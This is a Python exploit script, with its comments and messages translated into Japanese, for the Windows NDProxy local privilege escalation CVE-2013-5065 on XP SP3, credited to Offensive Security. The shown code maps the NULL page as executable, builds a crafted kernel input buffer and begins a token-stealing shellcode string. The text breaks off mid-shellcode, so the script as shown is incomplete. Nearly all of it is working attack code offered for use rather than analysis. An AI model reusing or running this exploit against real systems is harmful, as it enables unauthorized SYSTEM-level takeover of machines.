# NDPROXY ローカル SYSTEM 特権昇格 # http://www.offensive-security.com # Windows XP SP3 でテスト済み # http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/ # 元のクラッシュ ... NULL ポインタ逆参照 # アクセス違反 - コード c0000005 (!!! 2回目のチャンス !!!) # 00000038 ?? ??? from ctypes import * from ctypes.wintypes import * import os, sys kernel32 = windll.kernel32 ntdll = windll.ntdll GENERIC_READ = 0x80000000 GENERIC_WRITE = 0x40000000 FILE_SHARE_READ = 0x00000001 FILE_SHARE_WRITE = 0x00000002 NULL = 0x0 OPEN_EXISTING = 0x3 PROCESS_VM_WRITE = 0x0020 PROCESS_VM_READ = 0x0010 MEM_COMMIT = 0x00001000 MEM_RESERVE = 0x00002000 MEM_FREE = 0x00010000 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = 2097151 FORMAT_MESSAGE_FROM_SYSTEM = 0x00001000 baseadd = c_int(0x00000001) MEMRES = (0x1000 | 0x2000) MEM_DECOMMIT = 0x4000 PAGEEXE = 0x00000040 null_size = c_int(0x1000) STATUS_SUCCESS = 0 def log(msg): print msg def getLastError(): """[-] GetLastError の書式設定""" buf = create_string_buffer(2048) if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL, kernel32.GetLastError(), 0, buf, sizeof(buf), NULL): log(buf.value) else: log("[-] 不明なエラー") print "[*] Microsoft Windows NDProxy CVE-2013-5065 0day" print "[*] 実環境で発見された脆弱性" print "[*] Offensive Security によるコード" tmp = ("\x00"*4)*5 + "\x25\x01\x03\x07" + "\x00"*4 + "\x34\x00\x00\x00" + "\x00"*(84-24) InBuf = c_char_p(tmp) dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE) if dwStatus != STATUS_SUCCESS: print "[+] NULL ページ メモリの割り当て中にエラーが発生しました: %s" % dwStatus getLastError() written = c_ulong() sh = "\x90\x33\xC0\x64\x8B\x80\x24\x01\x00\x00\x8B\x40\x44\x8
